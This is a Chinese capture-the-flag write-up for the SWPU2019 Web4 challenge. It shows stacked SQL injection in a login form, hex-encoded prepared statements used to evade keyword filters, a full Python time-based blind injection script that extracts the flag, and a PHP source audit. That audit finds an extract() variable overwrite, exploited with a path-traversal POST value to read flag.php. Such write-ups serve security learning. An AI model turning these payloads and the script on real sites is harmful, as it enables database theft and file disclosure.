0%

SWPU2019 Web4

无论URL还是界面都很有SQL的feeling,,点击注册,发现无法提供注册,使用密码本爆破也失败(应该有过滤)

0

0x01 抓包

  • 我们账号和密码都输入admin,开始发包和抓包

1

界面很容易让人想起SQL注入,由于登陆没反应,我们直接抓包,因为之前堆叠注入做过几道题(buuctf 极客大挑战),还是比较熟悉判断方法

存在堆叠注入的判断方法 : 名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。

根据判断方法,当我们在 username 输入 admin' 或者 admin;' ,提示报错

2

当我们在 username 输入:admin 或者 admin’; 报错消失

我们先引来引入php中的PDO知识点


0x02 先来讲一下什么是PDO

https://xz.aliyun.com/t/3950

https://www.runoob.com/php/php-pdo.html

默认是pdo对象的query语句是能执行有;参与的多语句执行的,那我们就能闭合前面的单引号后进行堆叠注入。


0x03 由于我们没收到特殊回显和被过滤掉了许多关键字。我们构造的脚本考虑采用十六进制加预处理加上时间盲注进行绕过

  • 为什么用十六进制SQL预处理语句+时间盲注来绕过

因为SQL关键字被绕过而且回显并不特别的情况下再加上某些单词如 select,if.sleep 必须使用,盲注考虑后觉得时间盲注可能性比较大

  • 时间盲注思路

select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1){0} 猜测字段的长度 , {1} 是32-128的ascii数值(用来盲注爆破)

  • 防止SQL预处理被过滤

    使用16进制

如下

1
2
3
4
mysql> select hex('select sleep(5)');
mysql> set @a=0x73656C65637420736C656570283529;
mysql> prepare test from @a;
mysql> execute test;

select sleep(5) 语句可以让mysql服务休息5秒。这里这四句相当于执行了该语句,从而绕过上传被过滤的字符串。

在SQL测试中发现确实可以执行

通过mysql预处理与hex绕过过滤来过滤脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#author: c1e4r
import requests
import json
import time

def main():
#题目地址
url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index'''
#注入payload
payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
main()

下载获得的源码 URL+glzjin_wants_a_girl_friend.zip


0x04开始对源码进行代码审计

前端应用逻辑的基础在 controller 文件夹下面,而其他文件都是基于 basecontroller.php 所以我们打开 basecontroller.php 文件进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
	private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

extract 传入 viewdata 数组造成变量覆盖,发现利用 loadView 方法的并且第二个元素可控的地方只有 UserController.php

1
2
3
4
5
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

在Controller/UserController.php中,找到可控制的参数$listData,直接来源于$_REQUEST。 由于 $listData = $_REQUEST; 可以控制 到 userIndex.php 文件看看

1
2
3
4
5
6
7
8
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>

这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./…/flag.php即可,而又因为下面的路由控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";


if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}



上面可以知道我们传入的路由 r-User/Index


0x05 我们构造playload

GET: index.php?r=User/Index

POST: img_file=/../flag.php

5

4

1
flag{68b619e4-47d7-4e76-b823-26dd0e110c68}

欢迎关注我的其它发布渠道